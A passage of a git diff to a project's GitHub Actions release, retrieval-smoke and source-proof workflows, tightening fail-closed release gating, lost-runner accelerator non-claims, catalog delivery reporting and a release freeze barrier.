"$GITHUB_REPOSITORY" \ - '.workflow_runs[] | select(.path == ".github/workflows/source-proof.yml" and .head_repository.full_name == $repo and .conclusion == "success") | .id' + '.workflow_runs[] | select(.path == ".github/workflows/source-proof.yml" and .head_repository.full_name == $repo and .event == "workflow_dispatch" and .conclusion == "success") | .id' ) reuse="$(IFS=,; echo "${entries[*]:-}")" - echo "reuse=${reuse:--}" >> "$GITHUB_OUTPUT" - if [ -n "$reuse" ]; then - echo "source_proof_reused=true" >> "$GITHUB_OUTPUT" - else - echo "source_proof_reused=false" >> "$GITHUB_OUTPUT" - fi + test -n "$reuse" || { + echo "::error::The frozen candidate has no reusable full-source-gate. The release workflow will not start a broad proof." + exit 1 + } + + { + echo "reuse=$reuse" + echo "source_proof_reused=true" + } >> "$GITHUB_OUTPUT" - name: Prove the public marketplace install path if: inputs.publish_release @@ -213,7 +273,7 @@ jobs: https://github.com/TheGreenCedar/AgentPluginMarketplace.git \ refs/heads/main | awk '{print $1}' )" - test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT" rm -rf "$install_root" npm install \ @@ -235,7 +295,7 @@ jobs: # the fixture's own revision. The live revision above is still the one # the post-publish smoke consumes, so both are captured. fixture_revision="$(git -C "$fixture_root" rev-parse HEAD)" - test "$(printf '%s' "$fixture_revision" | wc -c | tr -d ' ')" = 40 + printf '%s' "$fixture_revision" | grep -Eq '^[0-9a-f]{40}$' node .github/scripts/install-codestory-marketplace-proof.mjs \ --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ @@ -251,15 +311,22 @@ jobs: source-proof: needs: preflight - # A completed gate for this exact tree is already authenticated evidence; the closeout - # consumes it through the reuse binding instead of re-running an hour of compilation. + # Preflight fails unless the one frozen-candidate source proof is reusable. Keep this + # structural DAG placeholder fail-closed without calling the broad source workflow again. if: needs.preflight.outputs.source_proof_reused != 'true' - uses: ./.github/workflows/source-proof.yml - with: - ref: ${{ github.sha }} - proof_key: release-${{ needs.preflight.outputs.version }} - version: ${{ needs.preflight.outputs.version }} - emit_release_cells: true + runs-on: ubuntu-latest + timeout-minutes: 1 + permissions: {} + env: + SOURCE_SHA: ${{ github.sha }} + steps: + - name: Refuse a second source proof + shell: bash + run: | + set -euo pipefail + test "$SOURCE_SHA" = "$GITHUB_SHA" + echo "::error::Preflight did not resolve reusable exact-head source proof; refusing to start a second broad proof." + exit 1 packaged-proof: needs: preflight @@ -327,9 +394,155 @@ jobs: candidate_producer_workflow_path: ${{ inputs.publish_release && '.github/workflows/auto-release.yml' || '.github/workflows/release.yml' }} emit_release_cells: true + # The repository owns one host per accelerator. When a host drops its connection instead of + # reporting, .github/scripts/lost-runner-rerun.yml re-dispatches it once; if the second attempt is + # lost the same way, this job records a populated non-claim for that host so the closeout has a + # visible withheld claim to accept instead of an unexplained gap. It refuses -- and fails the run + # -- for every other shape of failure, so a proof that ran and disagreed can never be withheld. + accelerator-non-claim: + name: Withhold unproven accelerator claims + if: always() && needs.preflight.result == 'success' && needs.packaged-proof.result == 'success' + needs: + - preflight + - packaged-proof + - macos-metal-proof + - windows-vulkan-proof + - linux-vulkan-proof + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout exact release source + uses: actions/checkout@v5 + with: + ref: ${{ github.sha }} + fetch-depth: 0 + + - name: Collect protected accelerator job evidence + env: + GH_TOKEN: ${{ github.token }} + shell: bash + run: | + set -euo pipefail + bash .github/scripts/collect-actions-job-evidence.sh \ + "$GITHUB_RUN_ID" "$GITHUB_RUN_ATTEMPT" target/release-non-claim/jobs.json + jq -n \ + --arg run_attempt "$GITHUB_RUN_ATTEMPT" \ + --slurpfile graph release-claims.json \ + --slurpfile jobs target/release-non-claim/jobs.json \ + '{ + run_attempt: $run_attempt, + hosts: [$graph[0].non_claim_policy.hosts[] + | {id: .id, job_name: .unavailable_producer_job_name}], + jobs: $jobs[0] + }' > target/release-non-claim/plan-input.json + + - name: Decide withheld accelerator hosts + id: non-claim + shell: bash + run: | + set -euo pipefail + node .github/scripts/lost-runner-recovery.mjs plan-non-claim \ + --input target/release-non-claim/plan-input.json \ + --out target/release-non-claim/plan.json + + - name: Download authenticated candidate records for withheld identity + if: steps.non-claim.outputs.withheld_hosts != '' + uses: actions/download-artifact@v8.0.1 + with: + pattern: codestory-candidate-archive-record-* + path: target/release-non-claim/candidate-records + merge-multiple: false + + - name: Record populated accelerator non-claims + if: steps.non-claim.outputs.withheld_hosts != '' + env: + WITHHELD_HOSTS: ${{ steps.non-claim.outputs.withheld_hosts }} + VERSION: ${{ needs.preflight.outputs.version }} + shell: bash + run: | + set -euo pipefail + version="${VERSION#v}" + jq -n \ + --arg installer candidate_managed_plugin \ + --arg native_engine coderank_q8_embedded \ + '{installer: $installer, native_engine: $native_engine}' \ + > target/release-non-claim/identity.json + for host in $WITHHELD_HOSTS; do + case "$host" in + macos-arm64-metal) target=macos-arm64 ;; + windows-x64-vulkan) target=windows-x64 ;; + linux-x64-vulkan) target=linux-x64 ;; + *) echo "::error::unknown non-claim host $host"; exit 1 ;; + esac + node scripts/codestory-release-cell-manifest.mjs withhold \ + --repo "$GITHUB_WORKSPACE" \ + --expected-sha "$GITHUB_SHA" \ + --version "$version" \ + --host "$host" \ + --producer-run-id "$GITHUB_RUN_ID" \ + --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ + --identity target/release-non-claim/identity.json \ + --candidate-record "target/release-non-claim/candidate-records/codestory-candidate-archive-record-$target/candidate-archive-record.json" \ + --out-dir "target/release-non-claim/cells/$host" + done + + - name: Upload withheld pre-publish macOS accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'macos-arm64-metal') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-prepublish-macos-arm64-metal-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/macos-arm64-metal/pre_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld post-publish macOS accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'macos-arm64-metal') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-postpublish-macos-arm64-metal-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/macos-arm64-metal/post_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld pre-publish Windows accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'windows-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-prepublish-windows-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/windows-x64-vulkan/pre_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld post-publish Windows accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'windows-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-postpublish-windows-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/windows-x64-vulkan/post_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld pre-publish Linux accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'linux-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/linux-x64-vulkan/pre_publish + if-no-files-found: error + retention-days: 30 + + - name: Upload withheld post-publish Linux accelerator cells + if: contains(steps.non-claim.outputs.withheld_hosts, 'linux-x64-vulkan') + uses: actions/upload-artifact@v7.0.1 + with: + name: release-cell-nonclaim-postpublish-linux-x64-vulkan-attempt-${{ github.run_attempt }} + path: target/release-non-claim/cells/linux-x64-vulkan/post_publish + if-no-files-found: error + retention-days: 30 + pre-publish-closeout: name: Authenticate pre-publish release cells - if: always() && needs.preflight.result == 'success' && (needs.source-proof.result == 'success' || needs.source-proof.result == 'skipped') + if: always() && needs.preflight.result == 'success' && (needs.source-proof.result == 'success' || needs.source-proof.result == 'skipped') && (needs.accelerator-non-claim.result == 'success' || needs.accelerator-non-claim.result == 'skipped') needs: - preflight - source-proof @@ -337,6 +550,7 @@ jobs: - macos-metal-proof - windows-vulkan-proof - linux-vulkan-proof + - accelerator-non-claim runs-on: ubuntu-latest timeout-minutes: 10 steps: @@ -354,6 +568,10 @@ jobs: shell: bash run: | set -euo pipefail + # The closeout reads the lost-runner signature itself rather than trusting the non-claim + # producer's verdict, so it collects the same Actions evidence independently. + bash .github/scripts/collect-actions-job-evidence.sh \ + "$GITHUB_RUN_ID" "$GITHUB_RUN_ATTEMPT" target/release-closeout/job-evidence.json node scripts/codestory-release-cell-manifest.mjs producer-map \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ @@ -361,6 +579,7 @@ jobs: --producer-run-id "$GITHUB_RUN_ID" \ --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ --reuse "$REUSE_SELECTION" \ + --job-evidence target/release-closeout/job-evidence.json \ --out target/release-closeout/trusted-pre-publish-producers.json artifact_ids="$(jq -r '[.artifacts[].id] | join(",")' target/release-closeout/trusted-pre-publish-producers.json)" test -n "$artifact_ids" @@ -395,13 +614,15 @@ jobs: - name: Evaluate authenticated pre-publish closeout shell: bash + env: + RELEASE_VERSION: ${{ needs.preflight.outputs.version }} run: | set -euo pipefail evaluated_at="$(date -u +'%Y-%m-%dT%H:%M:%S.000Z')" node scripts/codestory-release-closeout.mjs evaluate \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ - --version "${{ needs.preflight.outputs.version }}" \ + --version "$RELEASE_VERSION" \ --phase pre_publish \ --evaluated-at "$evaluated_at" \ --trusted-producers target/release-closeout/trusted-pre-publish-producers.json \ @@ -455,6 +676,14 @@ jobs: pattern: codestory-cli-* merge-multiple: true + # The published notes and the shipped summary both have to say what this release proved, so + # they are rendered from the accepted ledger rather than from the static claim graph. + - name: Download the accepted pre-publish closeout + uses: actions/download-artifact@v8.0.1 + with: + name: release-closeout-pre-publish-${{ needs.preflight.outputs.version }}-${{ github.sha }} + path: target/release-closeout + - name: Combine and verify checksums run: | set -euo pipefail @@ -462,6 +691,14 @@ jobs: test -s target/release-assets/SHA256SUMS.txt (cd target/release-assets && sha256sum -c SHA256SUMS.txt) + - name: Ship the accepted closeout summary with the release + run: | + set -euo pipefail + summary=target/release-closeout/pre_publish/summary.json + test -f "$summary" + test "$(jq -r .decision "$summary")" = accept + cp "$summary" target/release-assets/release-closeout-summary.json + - name: Compose versioned GitHub release notes env: VERSION: ${{ needs.preflight.outputs.version }} @@ -472,7 +709,8 @@ jobs: --output target/release-assets/release-notes.md { printf '\n' - node scripts/codestory-release-claims.mjs release-platform-notes + node scripts/codestory-release-claims.mjs release-platform-notes \ + --ledger target/release-closeout/pre_publish/ledger.json printf '\n' } >> target/release-assets/release-notes.md @@ -514,7 +752,8 @@ jobs: actual_file="$(mktemp)" printf '%s\n' "${expected_names[@]}" | sort > "$expected_file" find target/release-assets -maxdepth 1 -type f \ - \( -name 'codestory-cli-v*.tar.gz' -o -name 'codestory-cli-v*.zip' -o -name 'SHA256SUMS.txt' \) \ + \( -name 'codestory-cli-v*.tar.gz' -o -name 'codestory-cli-v*.zip' \ + -o -name 'SHA256SUMS.txt' -o -name 'release-closeout-summary.json' \) \ -exec basename {} \; | sort > "$actual_file" if ! diff -u "$expected_file" "$actual_file"; then echo "::error::Release assets differ from the release claim graph." @@ -531,6 +770,12 @@ jobs: --title "CodeStory $TAG" \ --notes-file target/release-assets/release-notes.md + # Catalog publication is DELIVERY, not a release gate. It runs after the tag and the GitHub + # release already exist, so failing the release on a missing credential or a rejected push would + # only turn a recoverable delivery gap into an unrecoverable one -- and the catalog keeps serving + # the previous release either way, so no user is ever offered a plugin that does not exist. + # The price is that the run must SAY which state it ended in: this job always reports one of two + # explicit outcomes, and post-publish-smoke records that outcome in the release ledger. marketplace-publish: name: Publish the marketplace catalog if: inputs.publish_release @@ -541,7 +786,8 @@ jobs: timeout-minutes: 10 environment: marketplace-publish outputs: - marketplace_revision: ${{ steps.publish.outputs.marketplace_revision }} + catalog_published: ${{ steps.delivery.outputs.catalog_published }} + marketplace_revision: ${{ steps.delivery.outputs.marketplace_revision }} steps: - name: Checkout exact release source uses: actions/checkout@v5 @@ -550,6 +796,7 @@ jobs: - name: Mint a scoped marketplace token id: token + continue-on-error: true uses: actions/create-github-app-token@67e27a7eb7db372a1c61a7f9bdab8699e9ee57f7 # v1.11.3 with: app-id: ${{ secrets.MARKETPLACE_APP_ID }} @@ -559,21 +806,65 @@ jobs: # Publication already happened, so a failure here leaves the catalog serving the previous # release rather than a release that does not exist. marketplace-sync.yml recovers it. + # One attempt only: a retry loop here would hide which failure the run actually hit. - name: Point the catalog at the published release id: publish + if: steps.token.outcome == 'success' + continue-on-error: true env: GH_TOKEN: ${{ steps.token.outputs.token }} + RELEASE_VERSION: ${{ needs.preflight.outputs.version }} run: | set -euo pipefail node .github/scripts/publish-marketplace-catalog.mjs \ --source-repository "$GITHUB_WORKSPACE" \ --commit "$GITHUB_SHA" \ - --version "${{ needs.preflight.outputs.version }}" \ + --version "$RELEASE_VERSION" \ --github-output "$GITHUB_OUTPUT" + # The only place the "catalog was updated" claim is ever minted. It requires the token, the + # push, AND an immutable revision to have all landed; anything else records deferred, so an + # unknown or half-finished state can never read as published. + - name: Record catalog delivery outcome + id: delivery + if: always() + env: + TOKEN_OUTCOME: ${{ steps.token.outcome }} + PUBLISH_OUTCOME: ${{ steps.publish.outcome }} + PUBLISHED_REVISION: ${{ steps.publish.outputs.marketplace_revision }} + RECOVERY_WORKFLOW: marketplace-sync.yml + run: | + set -euo pipefail + catalog_published=false + marketplace_revision="" + if [ "$TOKEN_OUTCOME" = "success" ] \ + && [ "$PUBLISH_OUTCOME" = "success" ] \ + && printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'; then + catalog_published=true + marketplace_revision="$PUBLISHED_REVISION" + fi + echo "catalog_published=$catalog_published" >> "$GITHUB_OUTPUT" + echo "marketplace_revision=$marketplace_revision" >> "$GITHUB_OUTPUT" + if [ "$catalog_published" = "true" ]; then + echo "Catalog delivery: published at $marketplace_revision." >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + # $RECOVERY_WORKFLOW mints the SAME credential from the SAME environment, so it recovers a + # rejected push, not a missing credential. Saying so here keeps the recorded recovery + # instruction one that can actually be followed. + if [ "$TOKEN_OUTCOME" != "success" ]; then + recovery="provision the marketplace-publish credential, then run $RECOVERY_WORKFLOW (it mints the same token, so it defers as well when that credential is absent)" + else + recovery="re-run $RECOVERY_WORKFLOW with this version and commit" + fi + echo "::warning::Catalog publication deferred (token=$TOKEN_OUTCOME publish=$PUBLISH_OUTCOME). The release stands and the catalog still serves the previous release; recover with $RECOVERY_WORKFLOW: $recovery." + echo "Catalog delivery: DEFERRED. The release is published; the catalog still serves the previous release. Recover with $RECOVERY_WORKFLOW." >> "$GITHUB_STEP_SUMMARY" + post-publish-smoke: name: Post-publish release asset smoke - if: inputs.publish_release + # Deliberately not gated on marketplace-publish: a deferred catalog must not suppress proof of + # the assets that were actually published. The delivery state is carried in, not depended on. + if: always() && inputs.publish_release && needs.preflight.result == 'success' && needs.publish.result == 'success' needs: - preflight - publish @@ -581,6 +872,7 @@ jobs: uses: ./.github/workflows/post-publish-release-smoke.yml with: version: ${{ needs.preflight.outputs.version }} + catalog_published: ${{ needs.marketplace-publish.outputs.catalog_published == 'true' }} marketplace_revision: ${{ needs.marketplace-publish.outputs.marketplace_revision }} pre_publish_closeout_artifact: release-closeout-pre-publish-${{ needs.preflight.outputs.version }}-${{ github.sha }} emit_release_cells: true @@ -611,12 +903,15 @@ jobs: shell: bash run: | set -euo pipefail + bash .github/scripts/collect-actions-job-evidence.sh \ + "$GITHUB_RUN_ID" "$GITHUB_RUN_ATTEMPT" target/release-closeout/job-evidence.json node scripts/codestory-release-cell-manifest.mjs producer-map \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ --phase post_publish \ --producer-run-id "$GITHUB_RUN_ID" \ --producer-run-attempt "$GITHUB_RUN_ATTEMPT" \ + --job-evidence target/release-closeout/job-evidence.json \ --out target/release-closeout/trusted-post-publish-producers.json artifact_ids="$(jq -r '[.artifacts[].id] | join(",")' target/release-closeout/trusted-post-publish-producers.json)" test -n "$artifact_ids" @@ -657,6 +952,8 @@ jobs: - name: Evaluate authenticated post-publish closeout shell: bash + env: + RELEASE_VERSION: ${{ needs.preflight.outputs.version }} run: | set -euo pipefail ledger="$(find target/accepted-pre-publish-closeout -type f -name ledger.json -print)" @@ -665,7 +962,7 @@ jobs: node scripts/codestory-release-closeout.mjs evaluate \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ - --version "${{ needs.preflight.outputs.version }}" \ + --version "$RELEASE_VERSION" \ --phase post_publish \ --evaluated-at "$evaluated_at" \ --trusted-producers target/release-closeout/trusted-post-publish-producers.json \ diff --git a/.github/workflows/retrieval-engine-smoke.yml b/.github/workflows/retrieval-engine-smoke.yml index bd2b11be3..e435e851e 100644 --- a/.github/workflows/retrieval-engine-smoke.yml +++ b/.github/workflows/retrieval-engine-smoke.yml @@ -1,5 +1,6 @@ -# Retrieval smoke: hosted jobs use the explicit CPU policy. Hardware workflows -# own Metal and Vulkan claims. +# Retrieval smoke: hosted jobs may use the test-only CPU fixture seam to +# exercise CPU-shaped failure boundaries. It is not a product CPU mode and +# makes no hardware claim; protected workflows own Metal and Vulkan proof. # Contract: docs/ops/retrieval-engine.md#proof-boundary name: retrieval-engine-smoke @@ -21,11 +22,27 @@ on: - crates/codestory-retrieval/src/query.rs - crates/codestory-cli/src/readiness.rs - crates/codestory-cli/src/stdio_transport.rs - - .github/scripts/check-packaged-agent-proof.py - - .github/scripts/install-linux-vulkan-build-deps.sh + # This job runs the generalization gate, so it has to trigger on the code + # that gate guards, on the corpus its bans are derived from, on the + # non-Rust product surfaces it also scans, and on the lint itself. + # scripts/tests/lint-retrieval-generalization.test.mjs keeps this list + # covering every path the lint reports as guarded. The globs are + # whole trees on purpose: the lint reads every crate's `src`, all three + # eval corpora, and every file under `scripts/`, `.github/`, + # `.cursor/rules` and `plugins/codestory`. A filter narrower than what the + # lint reads is a gate that never fires on the code it guards. + - crates/** + - benchmarks/tasks/** + - scripts/** + - .github/** + - .cursor/rules/** + - plugins/codestory/** + - .codex/environments/environment.toml - .github/scripts/install-windows-vulkan-sdk.ps1 - - .github/workflows/retrieval-engine-smoke.yml - .github/workflows/rust-ci.yml + - scripts/lint-retrieval-generalization.mjs + - scripts/lib/retrieval-generalization-lint.mjs + - scripts/tests/lint-retrieval-generalization.test.mjs - scripts/prepare-embedded-model.mjs - docs/contributors/testing-matrix.md - docs/ops/retrieval-engine.md @@ -50,11 +67,27 @@ on: - crates/codestory-retrieval/src/query.rs - crates/codestory-cli/src/readiness.rs - crates/codestory-cli/src/stdio_transport.rs - - .github/scripts/check-packaged-agent-proof.py - - .github/scripts/install-linux-vulkan-build-deps.sh + # This job runs the generalization gate, so it has to trigger on the code + # that gate guards, on the corpus its bans are derived from, on the + # non-Rust product surfaces it also scans, and on the lint itself. + # scripts/tests/lint-retrieval-generalization.test.mjs keeps this list + # covering every path the lint reports as guarded. The globs are + # whole trees on purpose: the lint reads every crate's `src`, all three + # eval corpora, and every file under `scripts/`, `.github/`, + # `.cursor/rules` and `plugins/codestory`. A filter narrower than what the + # lint reads is a gate that never fires on the code it guards. + - crates/** + - benchmarks/tasks/** + - scripts/** + - .github/** + - .cursor/rules/** + - plugins/codestory/** + - .codex/environments/environment.toml - .github/scripts/install-windows-vulkan-sdk.ps1 - - .github/workflows/retrieval-engine-smoke.yml - .github/workflows/rust-ci.yml + - scripts/lint-retrieval-generalization.mjs + - scripts/lib/retrieval-generalization-lint.mjs + - scripts/tests/lint-retrieval-generalization.test.mjs - scripts/prepare-embedded-model.mjs - docs/contributors/testing-matrix.md - docs/ops/retrieval-engine.md @@ -73,7 +106,7 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 60 env: - CODESTORY_EMBED_ALLOW_CPU: "1" + CODESTORY_TEST_EMBED_ALLOW_CPU: "1" steps: - uses: actions/checkout@v5 @@ -85,6 +118,9 @@ jobs: - name: Generalization lint (production paths) run: node scripts/lint-retrieval-generalization.mjs + - name: Generalization lint hostile matrix + run: node --test scripts/tests/lint-retrieval-generalization.test.mjs + - name: Release evidence gate contracts run: node --test scripts/tests/codestory-release-evidence-gate.test.mjs @@ -114,9 +150,6 @@ jobs: target key: ${{ runner.os }}-cargo-stable-${{ steps.rust-cache-key.outputs.version }}-${{ steps.rust-cache-key.outputs.target }}-retrieval-contracts-proof5-v1-64015a841a2f69f33f7c9ce284f671ad27b3923a58db865fd4806d86230df6c5-default-features-${{ hashFiles('Cargo.toml', 'crates/**/Cargo.toml', 'vendor/**/Cargo.toml') }}-${{ hashFiles('Cargo.lock') }} - - name: Generalization lint regression contracts - run: cargo test --locked -p codestory-runtime --test retrieval_generalization_guard - - name: Runtime retrieval and packet contract tests run: | cargo test --locked -p codestory-runtime --lib agent::retrieval_primary::tests @@ -162,7 +195,7 @@ jobs: runs-on: windows-latest timeout-minutes: 30 env: - CODESTORY_EMBED_ALLOW_CPU: "1" + CODESTORY_TEST_EMBED_ALLOW_CPU: "1" CMAKE_GENERATOR: Ninja steps: - uses: actions/checkout@v5 diff --git a/.github/workflows/source-proof.yml b/.github/workflows/source-proof.yml index d43969951..c2d988bd9 100644 --- a/.github/workflows/source-proof.yml +++ b/.github/workflows/source-proof.yml @@ -1,8 +1,6 @@ name: Exact-head source proof on: - pull_request: - types: [labeled] workflow_call: inputs: ref: @@ -12,13 +10,12 @@ on: required: true type: string version: - required: false - default: "" + required: true + type: string + freeze_receipt_digest: + description: Digest of the exact-head release freeze status. + required: true type: string - emit_release_cells: - required: false - default: false - type: boolean workflow_dispatch: inputs: pr_number: @@ -29,14 +26,52 @@ on: description: Exact reviewed head SHA. The selected --ref, github.sha, and live PR head must match. required: true type: string + freeze_receipt_digest: + description: Existing successful freeze receipt digest. Leave empty when acceptance_only is true. + required: false + default: "" + type: string + version: + description: Release version whose source cell this accepted proof emits. + required: true + type: string + acceptance_only: + description: Execute only the hostile mutation and protected Windows native-probe freeze barrier. + required: false + default: false + type: boolean + acceptance_phase: + description: Candidate phase represented by an acceptance-only receipt. + required: false + default: frozen_candidate + type: choice + options: + - calibration_source + - frozen_candidate + support_prs_json: + description: JSON array of support PR numbers already merged into the release head. + required: false + default: "[]" + type: string + reusable_evidence_json: + description: JSON array naming evidence reusable by this exact head. + required: false + default: "[]" + type: string + invalidated_evidence_json: + description: JSON array naming evidence invalidated before this exact head. + required: false + default: "[]" + type: string permissions: - actions: read + actions: write contents: read pull-requests: read + statuses: write concurrency: - group: source-proof-${{ github.sha }}-${{ inputs.proof_key || inputs.pr_number || github.event.pull_request.number || github.ref }}-${{ github.event.action == 'labeled' && github.event.label.name || 'dispatch' }} + group: source-proof-${{ github.sha }}-${{ inputs.proof_key || inputs.pr_number || github.ref }} cancel-in-progress: true env: @@ -46,12 +81,13 @@ env: jobs: resolve: - if: github.event_name != 'pull_request' || (github.event.action == 'labeled' && github.event.label.name == 'review-accepted') runs-on: ubuntu-latest timeout-minutes: 10 outputs: ref: ${{ steps.resolve.outputs.ref }} reuse: ${{ steps.reuse.outputs.reuse }} + freeze_digest: ${{ steps.receipt.outputs.digest }} + freeze_artifact_name: ${{ steps.receipt.outputs.artifact_name }} steps: - name: Resolve trusted exact head id: resolve @@ -116,11 +152,85 @@ jobs: echo "ref=$CALLER_REF" >> "$GITHUB_OUTPUT" fi + - name: Checkout accepted source head + uses: actions/checkout@v5 + with: + ref: ${{ steps.resolve.outputs.ref }} + fetch-depth: 0 + + - name: Cancel superseded proof runs + id: cancel + shell: bash + env: + GH_TOKEN: ${{ github.token }} + HEAD_SHA: ${{ steps.resolve.outputs.ref }} + run: | + set -euo pipefail + result="$( + node .github/scripts/release-freeze-barrier.mjs cancel-superseded \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$HEAD_SHA" \ + --broad-workflow "Exact-head source proof" \ + --broad-workflow "Platform and integration proof" \ + --broad-workflow "Release" \ + --broad-workflow "Auto Release" + )" + echo "cancelled=$(jq -c '.cancelled' <<<"$result")" >> "$GITHUB_OUTPUT" + + - name: Record executable release freeze + id: receipt + if: ${{ inputs.acceptance_only }} + shell: bash + env: + CALLER_FREEZE_RECEIPT_DIGEST: ${{ inputs.freeze_receipt_digest }} + ACCEPTANCE_PHASE: ${{ inputs.acceptance_phase }} + CANCELLED_RUNS_JSON: ${{ steps.cancel.outputs.cancelled }} + GH_TOKEN: ${{ github.token }} + HEAD_SHA: ${{ steps.resolve.outputs.ref }} + INVALIDATED_EVIDENCE_JSON: ${{ inputs.invalidated_evidence_json }} + PR_NUMBER: ${{ inputs.pr_number }} + REUSABLE_EVIDENCE_JSON: ${{ inputs.reusable_evidence_json }} + SUPPORT_PRS_JSON: ${{ inputs.support_prs_json }} + run: | + set -euo pipefail + test -z "$CALLER_FREEZE_RECEIPT_DIGEST" || { + echo "::error::acceptance_only mints its receipt digest; callers must leave freeze_receipt_digest empty." + exit 1 + } + tree="$(git rev-parse 'HEAD^{tree}')" + node .github/scripts/release-freeze-barrier.mjs record-actions-receipt \ + --repository "$GITHUB_REPOSITORY" \ + --repo "$GITHUB_WORKSPACE" \ + --branch "$GITHUB_REF_NAME" \ + --commit "$HEAD_SHA" \ + --tree "$tree" \ + --release-pr "$PR_NUMBER" \ + --support-prs-json "$SUPPORT_PRS_JSON" \ + --reusable-evidence-json "$REUSABLE_EVIDENCE_JSON" \ + --invalidated-evidence-json "$INVALIDATED_EVIDENCE_JSON" \ + --cancelled-runs-json "$CANCELLED_RUNS_JSON" \ + --run-id "$GITHUB_RUN_ID" \ + --run-attempt "$GITHUB_RUN_ATTEMPT" \ + --phase "$ACCEPTANCE_PHASE" \ + --broad-workflow "Exact-head source proof" \ + --broad-workflow "Platform and integration proof" \ + --broad-workflow "Release" \ + --broad-workflow "Auto Release" \ + --output "$RUNNER_TEMP/release-freeze-receipt.json" \ + --github-output "$GITHUB_OUTPUT" + + - name: Upload executable release freeze receipt + if: ${{ inputs.acceptance_only }} + uses: actions/upload-artifact@v7.0.1 + with: + name: ${{ steps.receipt.outputs.artifact_name }} + path: ${{ runner.temp }}/release-freeze-receipt.json + if-no-files-found: error + retention-days: 30 + - name: Reuse a completed gate for this exact head id: reuse - # Only the label and dispatch paths. workflow_call always supplies `ref`, and the release - # chain requires full-source-gate to actually run. - if: inputs.ref == '' + if: ${{ !inputs.acceptance_only }} shell: bash env: GH_TOKEN: ${{ github.token }} @@ -134,18 +244,214 @@ jobs: --jq '.jobs[] | select(.name == "full-source-gate" and .conclusion == "success") | .id' \ | grep -q . then + run_attempt="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id" --jq '.run_attempt' + )" + artifact_name="release-cell-prepublish-source-attempt-$run_attempt" + artifact_count="$( + gh api "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/artifacts?per_page=100" \ + | jq --arg name "$artifact_name" \ + '[.artifacts[] | select(.name == $name and .expired == false)] | length' + )" + test "$artifact_count" = 1 || continue reuse=true - echo "Reusing full-source-gate from run $run_id for exact head $HEAD_SHA." + echo "Reusing full-source-gate and $artifact_name from run $run_id for exact head $HEAD_SHA." break fi done < <( gh api --paginate \ "repos/$GITHUB_REPOSITORY/actions/runs?head_sha=$HEAD_SHA&status=completed&per_page=100" \ | jq -r --arg repo "$GITHUB_REPOSITORY" \ - '.workflow_runs[] | select(.path == ".github/workflows/source-proof.yml" and .head_repository.full_name == $repo and (.event == "pull_request" or .event == "workflow_dispatch") and .conclusion == "success") | .id' + '.workflow_runs[] | select(.path == ".github/workflows/source-proof.yml" and .head_repository.full_name == $repo and .event == "workflow_dispatch" and .conclusion == "success") | .id' ) echo "reuse=$reuse" >> "$GITHUB_OUTPUT" + - name: Require executable release freeze + if: ${{ !inputs.acceptance_only }} + shell: bash + env: + GH_TOKEN: ${{ github.token }} + FREEZE_RECEIPT_DIGEST: ${{ inputs.freeze_receipt_digest }} + HEAD_SHA: ${{ steps.resolve.outputs.ref }} + run: | + set -euo pipefail + printf '%s' "$FREEZE_RECEIPT_DIGEST" | grep -Eq '^[0-9a-f]{64}$' + tree="$( + gh api "repos/$GITHUB_REPOSITORY/git/commits/$HEAD_SHA" --jq '.tree.sha' + )" + node .github/scripts/release-freeze-barrier.mjs verify-status \ + --repository "$GITHUB_REPOSITORY" \ + --commit "$HEAD_SHA" \ + --tree "$tree" \ + --phase frozen_candidate \ + --receipt-digest "$FREEZE_RECEIPT_DIGEST" + + freeze-hostile-mutations: + name: freeze-hostile-mutations + if: inputs.acceptance_only + needs: resolve + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@v5 + with: + ref: ${{ needs.resolve.outputs.ref }} + + - uses: actions/setup-node@v5 + with: + node-version: "24" + package-manager-cache: false + + - name: Install workflow policy dependencies + run: npm ci --ignore-scripts + + - name: Execute exact-head hostile mutation matrix + run: >- + node --test + .github/scripts/check-workflow-policy.test.mjs + .github/scripts/release-freeze-barrier.test.mjs + .github/scripts/cargo-build-artifacts.test.mjs + .github/scripts/candidate-archive-store.test.mjs + + freeze-windows-native-probe: + name: freeze-windows-native-probe + if: inputs.acceptance_only + needs: resolve + runs-on: [self-hosted, Windows, X64, codestory-vulkan] + timeout-minutes: 5 + steps: 